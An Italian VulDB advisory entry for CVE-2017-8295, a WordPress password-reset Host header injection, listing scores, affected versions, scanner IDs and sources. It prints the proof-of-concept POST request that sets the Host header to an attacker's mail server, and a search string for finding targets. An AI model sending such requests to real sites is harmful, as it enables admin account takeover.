CVSS Punteggio Meta Temp	Exploit Prezzo Attuale (≈)	Punteggio di interesse CTI
5.8	$0-$5k	0.13

In WordPress (Content Management System) stata rilevata una vulnerabilità di livello critico. Riguarda la funzione mail del file wp-login.php del componente Password Reset. Attraverso la manipolazione del parametro HOST come parte di HTTP Header conseguenza di una vulerabilità di classe escalazione di privilegi. Questo ha un effetto su riservatezza, integrità e disponibilità.

Data di scoperta del problema 03/05/2017. La vulnerabilità è stata pubblicata in data 04/05/2017 da Dawid Golunski con identificazione EDB-ID 41963 con un exploit (Exploit-DB) (confermato). L'advisory è scaricabile da exploit-db.com. CVE-2017-8295 è identificato come punto debole. La vulnerabilità è relativamente apprezzata, anche se ha un'alta complessità. L'attacco può essere lanciato da remoto. Nessuna autentificazione è richiesta per l'uso. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.

Un metodo di utilizzo è stato sviluppato da Dawid Golunski in HTTP POST Request ed è stata pubblicata prima e non solo dopo il comunicato. L'exploit è scaricabile da exploit-db.com. È stato dichiarato come proof-of-concept. Questa vulnerabilità è stata classificata come un 0-day exploit almeno per 1 giorni. Cercando inurl:wp-login.php è possibile trovare obiettivi vulnerabili con Google Hacking. Un plugin è disponibile per lo scanner Nessus, numero ID 100028 (WordPress 2.3.0 - 4.8.3 Unauthorized Password Reset), che può aiutare a determinare l'esistenza della criticità nel sistema analizzato. Il codice utilizzato dal exploit è:

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
 
user_login=admin&redirect_to=&wp-submit=Get+New+Password

Informazioni riguardo una possibile contromisura non sono al momento disponibili. Si suggerisce di sostituire il prodotto con uno equivalente.

La vulnerabilità è documentata anche nel database Tenable (100028) e Exploit-DB (41963).

Prodottoinfo

Genere

• Content Management System

Nome

• WordPress

Versione

• 2.3
• 2.3 Beta1
• 2.3 Beta2
• 2.3 Beta3
• 2.3 rc1
• 2.3.1
• 2.3.1 Beta1
• 2.3.1 rc1
• 2.3.2
• 2.3.2 Beta1
• 2.3.2 Beta2
• 2.3.2 Beta3
• 2.3.2 rc1
• 2.3.3
• 2.5
• 2.5 rc1
• 2.5 rc2
• 2.5 rc3
• 2.5.1
• 2.6
• 2.6 Beta1
• 2.6 Beta2
• 2.6 Beta3
• 2.6 rc1
• 2.6.1
• 2.6.1 Beta1
• 2.6.1 Beta2
• 2.6.2
• 2.6.3
• 2.6.5
• 2.7
• 2.7 Beta1
• 2.7 Beta2
• 2.7 Beta3
• 2.7 rc1
• 2.7 rc2
• 2.7.1
• 2.8
• 2.8 Beta1
• 2.8 Beta2
• 2.8 rc1
• 2.8.1
• 2.8.1 Beta1
• 2.8.1 Beta2
• 2.8.1 rc1
• 2.8.2
• 2.8.3
• 2.8.4
• 2.8.4:a
• 2.8.5
• 2.8.5 Beta1
• 2.8.5.1
• 2.8.5.2
• 2.8.6
• 2.9
• 2.9 Beta1
• 2.9 Beta2
• 2.9 rc1
• 2.9.1
• 2.9.1 Beta1
• 2.9.1 rc1
• 2.9.1.1
• 2.9.2
• 3.0
• 3.0 Beta1
• 3.0 Beta2
• 3.0 rc1
• 3.0 rc2
• 3.0 rc3
• 3.0.1
• 3.0.2
• 3.0.3
• 3.0.4
• 3.0.5
• 3.0.6
• 3.1
• 3.1 Beta1
• 3.1 Beta2
• 3.1 rc1
• 3.1 rc2
• 3.1 rc3
• 3.1 rc4
• 3.1.1
• 3.1.1 rc1
• 3.1.2
• 3.1.3
• 3.1.4
• 3.2
• 3.2 Beta1
• 3.2 Beta2
• 3.2 rc1
• 3.2 rc2
• 3.2 rc3
• 3.2.1
• 3.3
• 3.3 Beta1
• 3.3 Beta2
• 3.3 Beta3
• 3.3 Beta4
• 3.3 rc1
• 3.3 rc2
• 3.3 rc3
• 3.3.1
• 3.3.2
• 3.3.2 rc1
• 3.3.3
• 3.4
• 3.4 Beta1
• 3.4 Beta2
• 3.4 Beta3
• 3.4 Beta4
• 3.4 rc1
• 3.4 rc2
• 3.4 rc3
• 3.4 rc4
• 3.4.0
• 3.4.1
• 3.4.2
• 3.5
• 3.5 Beta1
• 3.5 Beta2
• 3.5 Beta3
• 3.5 rc1
• 3.5 rc2
• 3.5 rc3
• 3.5 rc4
• 3.5.0
• 3.5.1
• 3.5.2
• 3.6
• 3.6 Beta1
• 3.6 Beta2
• 3.6 Beta3
• 3.6 Beta4
• 3.6 rc1
• 3.6 rc2
• 3.6.1
• 3.7
• 3.7 Beta1
• 3.7 Beta2
• 3.7 rc1
• 3.7 rc2
• 3.7.1
• 3.7.2
• 3.7.3
• 3.7.4
• 3.7.5
• 3.7.6
• 3.7.7
• 3.7.8
• 3.7.9
• 3.7.10
• 3.7.11
• 3.7.12
• 3.7.13
• 3.7.14
• 3.7.15
• 3.7.16
• 3.7.17
• 3.7.18
• 3.7.19
• 3.7.20
• 3.7.21
• 3.7.22
• 3.8
• 3.8 Beta1
• 3.8 rc1
• 3.8 rc2
• 3.8.1
• 3.8.1 rc1
• 3.8.2
• 3.8.3
• 3.8.4
• 3.8.5
• 3.8.6
• 3.8.7
• 3.8.8
• 3.8.9
• 3.8.10
• 3.8.11
• 3.8.12
• 3.8.13
• 3.8.14
• 3.8.15
• 3.8.16
• 3.8.17
• 3.8.18
• 3.8.19
• 3.8.20
• 3.8.21
• 3.8.22
• 3.9
• 3.9 Beta1
• 3.9 Beta2
• 3.9 Beta3
• 3.9 rc1
• 3.9 rc2
• 3.9.0
• 3.9.1
• 3.9.1 rc1
• 3.9.2
• 3.9.3
• 3.9.4
• 3.9.5
• 3.9.6
• 3.9.7
• 3.9.8
• 3.9.9
• 3.9.10
• 3.9.11
• 3.9.12
• 3.9.13
• 3.9.14
• 3.9.15
• 3.9.16
• 3.9.17
• 3.9.18
• 3.9.19
• 3.9.20
• 4.0
• 4.0 Beta1
• 4.0 Beta2
• 4.0 Beta3
• 4.0 Beta4
• 4.0 rc1
• 4.0 rc2
• 4.0.1
• 4.0.2
• 4.0.3
• 4.0.4
• 4.0.5
• 4.0.6
• 4.0.7
• 4.0.8
• 4.0.9
• 4.0.10
• 4.0.11
• 4.0.12
• 4.0.13
• 4.0.14
• 4.0.15
• 4.0.16
• 4.0.17
• 4.0.18
• 4.0.19
• 4.1
• 4.1 Beta1
• 4.1 Beta2
• 4.1 rc1
• 4.1 rc2
• 4.1 rc3
• 4.1.1
• 4.1.2
• 4.1.3
• 4.1.4
• 4.1.5
• 4.1.6
• 4.1.7
• 4.1.8
• 4.1.9
• 4.1.10
• 4.1.11
• 4.1.12
• 4.1.13
• 4.1.14
• 4.1.15
• 4.1.16
• 4.1.17
• 4.1.18
• 4.1.19
• 4.2
• 4.2 Beta1
• 4.2 Beta2
• 4.2 Beta3
• 4.2 Beta4
• 4.2 rc1
• 4.2 rc2
• 4.2 rc3
• 4.2 rc4
• 4.2.1
• 4.2.2
• 4.2.3
• 4.2.4
• 4.2.4 rc1
• 4.2.5
• 4.2.6
• 4.2.7
• 4.2.8
• 4.2.9
• 4.2.10
• 4.2.11
• 4.2.12
• 4.2.13
• 4.2.14
• 4.2.15
• 4.2.16
• 4.3
• 4.3 Beta1
• 4.3 Beta2
• 4.3 Beta3
• 4.3 Beta4
• 4.3 rc1
• 4.3 rc2
• 4.3 rc3
• 4.3.0
• 4.3.1
• 4.3.2
• 4.3.3
• 4.3.4
• 4.3.5
• 4.3.6
• 4.3.7
• 4.3.8
• 4.3.9
• 4.3.10
• 4.3.11
• 4.3.12
• 4.4
• 4.4 Beta1
• 4.4 Beta2
• 4.4 Beta3
• 4.4 Beta4
• 4.4 rc1
• 4.4.0
• 4.4.1
• 4.4.2
• 4.4.3
• 4.4.4
• 4.4.5
• 4.4.6
• 4.4.7
• 4.4.8
• 4.4.9
• 4.4.10
• 4.4.11
• 4.5
• 4.5 Beta1
• 4.5 Beta2
• 4.5 Beta3
• 4.5 Beta4
• 4.5 rc1
• 4.5 rc2
• 4.5 rc3
• 4.5.1
• 4.5.1 rc1
• 4.5.1 rc2
• 4.5.2
• 4.5.3
• 4.5.4
• 4.5.5
• 4.5.6
• 4.5.7
• 4.5.8
• 4.5.9
• 4.5.10
• 4.6
• 4.6 Beta1
• 4.6 Beta2
• 4.6 Beta3
• 4.6 Beta4
• 4.6 rc1
• 4.6 rc2
• 4.6 rc3
• 4.6 rc4
• 4.6.1
• 4.6.1 rc1
• 4.6.2
• 4.6.3
• 4.6.4
• 4.6.5
• 4.6.6
• 4.6.7
• 4.7
• 4.7 Beta1
• 4.7 Beta2
• 4.7 Beta3
• 4.7 Beta4
• 4.7 rc1
• 4.7 rc2
• 4.7 rc3
• 4.7.1
• 4.7.1 rc1
• 4.7.2
• 4.7.3
• 4.7.3 rc1
• 4.7.4
• 4.7.4 rc1
• 4.7.5
• 4.7.6
• 4.8
• 4.8 Beta1
• 4.8 Beta2
• 4.8 rc1
• 4.8 rc2
• 4.8.1
• 4.8.1 Beta1
• 4.8.1 rc1
• 4.8.1 rc2
• 4.8.2
• 4.8.3

Licenza

• open-source

CPE 2.3info

• 🔍
• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍
• 🔍

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

CVSSv3info

VulDB Punteggio meta-base: 6.1
VulDB Punteggio Meta Temp: 6.0

VulDB Punteggio di base: 6.3
VulDB Punteggio temporaneo: 6.0
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 5.9
NVD Vettore: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vettore	Complessità	Autenticazione	Riservatezza	Integrità	Disponibilità
sbloccare	sbloccare	sbloccare	sbloccare	sbloccare	sbloccare
sbloccare	sbloccare	sbloccare	sbloccare	sbloccare	sbloccare
sbloccare	sbloccare	sbloccare	sbloccare	sbloccare	sbloccare

VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 🔍

Exploitinginfo

Classe: Escalazione di privilegi
CWE: CWE-640
CAPEC: 🔍
ATT&CK: 🔍

Locale: No
Remoto: Si

Disponibilità: 🔍
Accesso: Pubblico
Stato: Proof-of-Concept
Autore: Dawid Golunski
Linguaggio Di Programmazione: 🔍
Scaricamento: 🔍
Google Hack: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Previsione dei prezzi: 🔍
Preventivo attuale: 🔍

0-Day	sbloccare	sbloccare	sbloccare	sbloccare
Oggi	sbloccare	sbloccare	sbloccare	sbloccare

Nessus ID: 100028
Nessus Nome: WordPress 2.3.0 - 4.8.3 Unauthorized Password Reset
Nessus File: 🔍
Nessus Rischio: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

OpenVAS ID: 100908
OpenVAS Nome: WordPress Password Reset CVE-2017-8295 Security Bypass Vulnerability (Windows)
OpenVAS File: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Nome: 🔍

Exploit-DB: 🔍

Intelligence Sulle Minacceinfo

Interesse: 🔍
Attori Attivi: 🔍
Gruppi APT attivi: 🔍

Contromisureinfo

Raccomandazione: nessuna contromisura conosciuta
Stato: 🔍

0 giorni di tempo: 🔍

Sequenza temporaleinfo

27/04/2017 🔍
03/05/2017 +6 giorni 🔍
03/05/2017 +0 giorni 🔍
03/05/2017 +0 giorni 🔍
03/05/2017 +0 giorni 🔍
04/05/2017 +1 giorni 🔍
04/05/2017 +0 giorni 🔍
05/05/2017 +1 giorni 🔍
09/05/2017 +4 giorni 🔍
22/12/2020 +1323 giorni 🔍

Fontiinfo

Prodotto: wordpress.com

Advisory: EDB-ID 41963
Riceratore: Dawid Golunski
Stato: Confermato

CVE: CVE-2017-8295 (🔍)
OVAL: 🔍

SecurityTracker: 1038403
SecurityFocus: 98295 - WordPress Password Reset CVE-2017-8295 Security Bypass Vulnerability

scip Labs: https://www.scip.ch/en/?labs.20161013
Varie: 🔍

Voceinfo

Data di creazione: 05/05/2017 09:02
Aggiornamenti: 22/12/2020 12:38
I cambiamenti: 05/05/2017 09:02 (93), 08/06/2020 06:56 (1), 22/12/2020 12:38 (2)
Completa: 🔍

Discussione

Do you want to use VulDB in your project?

Use the official API to access entries easily!